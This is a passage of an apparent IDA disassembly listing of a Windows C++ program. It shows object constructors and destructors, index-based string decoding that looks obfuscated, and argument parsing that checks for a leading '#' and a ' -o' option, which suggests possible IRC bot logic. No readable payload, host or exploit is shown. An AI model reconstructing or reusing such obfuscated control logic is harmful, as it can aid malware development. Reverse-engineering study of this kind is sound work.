		lea	ecx, [esp+47Ch+var_450]
		call	sub_401A9B
		lea	ecx, [esp+478h+var_420]
		mov	byte ptr [esp+478h+var_4], 3
		call	sub_401226
		inc	esi
		add	edi, 4
		cmp	esi, 0FFh
		jb	short loc_403591


loc_4035E7:				; CODE XREF: sub_4034E0+B5j
		mov	esi, [esp+478h+arg_0]
		lea	edx, [esp+478h+var_450]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+478h+var_46C], 1
		lea	ecx, [esp+478h+var_450]
		mov	byte ptr [esp+478h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+478h+var_438]
		mov	byte ptr [esp+478h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+478h+var_468]
		mov	byte ptr [esp+478h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+478h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 46Ch
		retn
sub_4034E0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4036B0	proc near		; CODE XREF: sub_401681j
		mov	eax, [ecx+9]
		retn
sub_4036B0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4036D0	proc near		; CODE XREF: sub_40129Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4036D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+9]
		call	sub_402207
		lea	ecx, [esi+52h]
		mov	[esp+14h+var_4], 0
		call	sub_402207
		lea	ecx, [esi+9Bh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_402207
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_402207
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_402207
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_402207
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_402207
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_402207
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_402207
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_402207
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_402207
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_402207
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_402207
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_402207
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_402207
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_402207
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_402207
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_402207
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_402207
		mov	byte ptr [esp+14h+var_4], 12h
		lea	ecx, [esi+574h]
		call	sub_402207
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_402207
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_402207
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_402207
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_402207
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_402207
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_402207
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_402207
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_402207
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_402207
		lea	ecx, [esi+84Eh]
		mov	byte ptr [esp+14h+var_4], 1Ch
		call	sub_402207
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_402207
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_402207
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_402207
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_402207
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_402207
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_402207
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_402207
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_402207
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_402207
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_402207
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401749
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401749
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401749
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401749
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401749
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401749
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401749
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401749
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401749
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401749
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401749
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401749
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401749
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401749
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401749
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401749
		lea	ecx, [esi+0E51h]
		mov	byte ptr [esp+14h+var_4], 37h
		call	sub_401749
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_4011A4
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_4011A4
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_4011A4
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_4011A4
		lea	ecx, [esi+179Fh]
		mov	byte ptr [esp+14h+var_4], 3Ch
		call	sub_4011A4
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E000
		mov	byte ptr [esi+4], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4036D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C00	proc near		; CODE XREF: sub_401023j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C70	proc near		; CODE XREF: sub_4011B3j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E004
		retn
sub_403C70	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C90	proc near		; CODE XREF: sub_402207j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+1Eh]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+33h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D10	proc near		; CODE XREF: sub_401AD2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+33h]
		mov	[esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+1Eh]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D10	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D90	proc near		; CODE XREF: sub_401749j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403E00	proc near		; CODE XREF: sub_4011A4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403E00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_402207
		lea	ecx, [esi+49h]
		mov	[esp+14h+var_4], 0
		call	sub_402207
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_402207
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_402207
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_402207
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_402207
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_402207
		lea	ecx, [esi+1FFh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_402207
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403E00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403EE0	proc near		; CODE XREF: sub_40206Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403EE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+1FFh]
		mov	[esp+14h+var_4], 6
		call	sub_401AD2
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AD2
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AD2
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AD2
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AD2
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401AD2
		lea	ecx, [esi+49h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AD2
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AD2
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403EE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403FC0	proc near		; CODE XREF: sub_401D34j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403FC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebp
		push	esi
		push	edi
		push	0
		push	4
		push	9
		push	4Fh
		lea	eax, [esp+70h+var_3C]
		push	2
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+0C29h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_403FC0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4
		push	0Eh
		push	12h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0BCDh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	15h
		push	0Fh
		push	2
		push	1
		push	4Fh
		lea	ecx, [esp+40h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 2
		call	sub_4017E4
		lea	edx, [esi+0C57h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	15h
		push	3
		push	5
		push	13h
		push	4Fh
		lea	eax, [esp+44h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 3
		call	sub_4017E4
		lea	ecx, [esi+0DF5h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	13h
		push	19h
		push	13h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0C85h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	16h
		push	0Fh
		push	0Dh
		push	5
		push	12h
		push	4Fh
		lea	ecx, [esp+44h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 5
		call	sub_4017E4
		lea	edx, [esi+0B71h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		push	4Fh
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 6
		call	sub_4017E4
		lea	ecx, [esi+0DC7h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Eh
		push	5
		push	10h
		push	0Fh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 7
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0D0Fh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	9
		push	15h
		push	11h
		push	4Fh
		lea	ecx, [esp+3Ch]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 8
		call	sub_4017E4
		lea	edx, [esi+0D99h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	4
		push	0Dh
		push	3
		push	4Fh
		lea	eax, [esp+38h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 9
		call	sub_4017E4
		lea	ecx, [esi+0E23h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		lea	edx, [esp+38h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ah
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0D6Bh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	4Fh
		lea	ecx, [esp+38h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Bh
		call	sub_4017E4
		lea	edx, [esi+0D3Dh]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	0Dh
		push	9
		push	14h
		push	10h
		push	15h
		push	0Ch
		push	4Fh
		lea	eax, [esp+48h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ch
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+0CB3h]
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Dh
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0CE1h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		db 8Dh,	4Ch, 24h
		dd 247C8924h, 0CE20E85Ch, 4E8DFFFFh, 0D3D6E809h, 4C8DFFFFh
		dd 51500C24h, 0FFDC09E8h, 8C483FFh, 256A006Ah, 236A1D6Ah
		dd 3424548Dh, 0C752286Ah, 0E742444h, 0E8000000h, 0FFFFD57Dh
		dd 8B18C483h, 244C8DE8h, 2444C60Ch, 99E80F5Ch, 50FFFFD3h
		dd 91E8CD8Bh, 50FFFFD3h, 4435F468h, 60B56800h, 0A8E8004Dh
		dd 83FFFFD9h, 4C8D10C4h, 44C62424h, 0E80E5C24h,	0FFFFCDB2h
		dd 448D206Ah, 6A4024h, 244C8D50h, 0CE2CE818h, 0C88BFFFFh
		dd 5C2444C6h, 0D352E810h, 6850FFFFh, 4435F0h, 4E6E8568h
		dd 0CB8BE800h, 0C483FFFFh, 2444C60Ch, 4C8D0E5Ch, 73E83C24h
		dd 90FFFFCDh, 3CC314E8h, 0B8C88B02h, 10624DD3h,	0EAC1E1F7h
		dd 244C8D06h, 556890Ch,	5C247C89h, 0FFCD51E8h, 244C8BFFh
		dd 5D5E5F54h, 0D8964h, 83000000h, 90C354C4h, 2 dup(90909090h)
		dd 54h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_404640	proc near		; CODE XREF: sub_401A32j

var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_404640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 7Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+94h+arg_0]
		mov	ebp, ecx
		push	edi
		lea	ebx, [esi+2Ah]
		push	0
		mov	ecx, ebx
		mov	[esp+9Ch+var_88], ebp
		call	sub_40146F
		mov	cl, [eax]
		lea	edi, [esi+69h]
		cmp	cl, 23h
		jnz	short loc_404682
		push	ebx
		jmp	short loc_404686
; ---------------------------------------------------------------------------


loc_404682:				; CODE XREF: sub_404640+3Dj
		lea	eax, [esi+15h]
		push	eax


loc_404686:				; CODE XREF: sub_404640+40j
		mov	ecx, edi
		call	sub_401FBE
		mov	al, [esi+94h]
		test	al, al
		jz	short loc_4046A2
		lea	ecx, [esi+15h]
		push	ecx
		mov	ecx, edi
		call	sub_401FBE


loc_4046A2:				; CODE XREF: sub_404640+55j
		mov	al, [esi+95h]
		test	al, al
		jz	short loc_40471F
		lea	ecx, [esp+98h+var_6C]
		call	sub_401424
		push	offset aO	; " -o"
		mov	ecx, esi
		mov	[esp+9Ch+var_4], 0
		call	sub_4013E3
		add	eax, 3
		lea	edx, [esp+98h+var_54]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+9Ch+var_6C]
		mov	byte ptr [esp+9Ch+var_4], 1
		call	sub_401FBE
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], 0
		call	sub_401226
		lea	eax, [esp+98h+var_6C]
		mov	ecx, edi
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226


loc_40471F:				; CODE XREF: sub_404640+6Aj
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_6C]
		push	0
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+98h+var_54]
		mov	ebx, 2
		push	1
		push	edx
		mov	ecx, eax
		mov	[esp+0A0h+var_4], ebx
		call	sub_401E2E
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_401FBE
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		lea	ecx, [ebp+32Ch]
		call	sub_40146F
		push	0
		mov	ecx, esi
		mov	ebp, eax
		call	sub_40146F
		mov	al, [eax]
		mov	cl, [ebp+0]
		cmp	al, cl
		jnz	loc_4049EA
		push	0
		push	14h
		push	1
		push	5
		push	10h
		push	5
		push	12h
		push	4Eh
		push	14h
		push	0Fh
		lea	ecx, [esp+0C0h+var_54]
		push	ebx
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		mov	ecx, eax
		mov	[esp+98h+var_4], 4
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40480F
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0B0h+arg_0], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C9E
		call	sub_401CD0
		test	eax, eax
		jz	short loc_40480F
		mov	bl, 1
		jmp	short loc_404811
; ---------------------------------------------------------------------------


loc_40480F:				; CODE XREF: sub_404640+1A6j
					; sub_404640+1C9j
		xor	bl, bl


loc_404811:				; CODE XREF: sub_404640+1CDj
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_4049CE
		push	offset asc_443600 ; " "
		lea	eax, [esp+9Ch+var_54]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	[esp+9Ch+var_4], 5
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	loc_4049EA
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+var_4], 6
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+98h+var_54]
		mov	ebp, eax
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	loc_4049EA
		push	20h
		mov	ecx, esi
		call	sub_401D20
		lea	edx, [esp+98h+var_84]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E2E
		mov	ebx, 7
		push	20h
		lea	ecx, [esp+9Ch+var_84]
		mov	[esp+9Ch+var_4], ebx
		call	sub_401D20
		push	eax
		lea	eax, [esp+9Ch+var_54]
		push	eax
		lea	ecx, [esp+0A0h+var_84]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		mov	byte ptr [esp+9Ch+var_4], 8
		call	sub_40200E
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_84]
		push	ecx
		mov	ecx, esi
		call	sub_401FBE
		push	offset asc_443600 ; " "
		lea	edx, [esp+9Ch+var_24]
		push	0
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+98h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+0A0h+var_4], 9
		call	sub_401E2E
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_401FBE
		lea	ecx, [esp+98h+var_3C]
		mov	byte ptr [esp+98h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+98h+var_24]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		mov	al, [esp+98h+arg_4]
		test	al, al
		jnz	short loc_4049A7
		test	ebp, ebp
		jle	short loc_4049B8


loc_404998:				; CODE XREF: sub_404640+363j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401F69
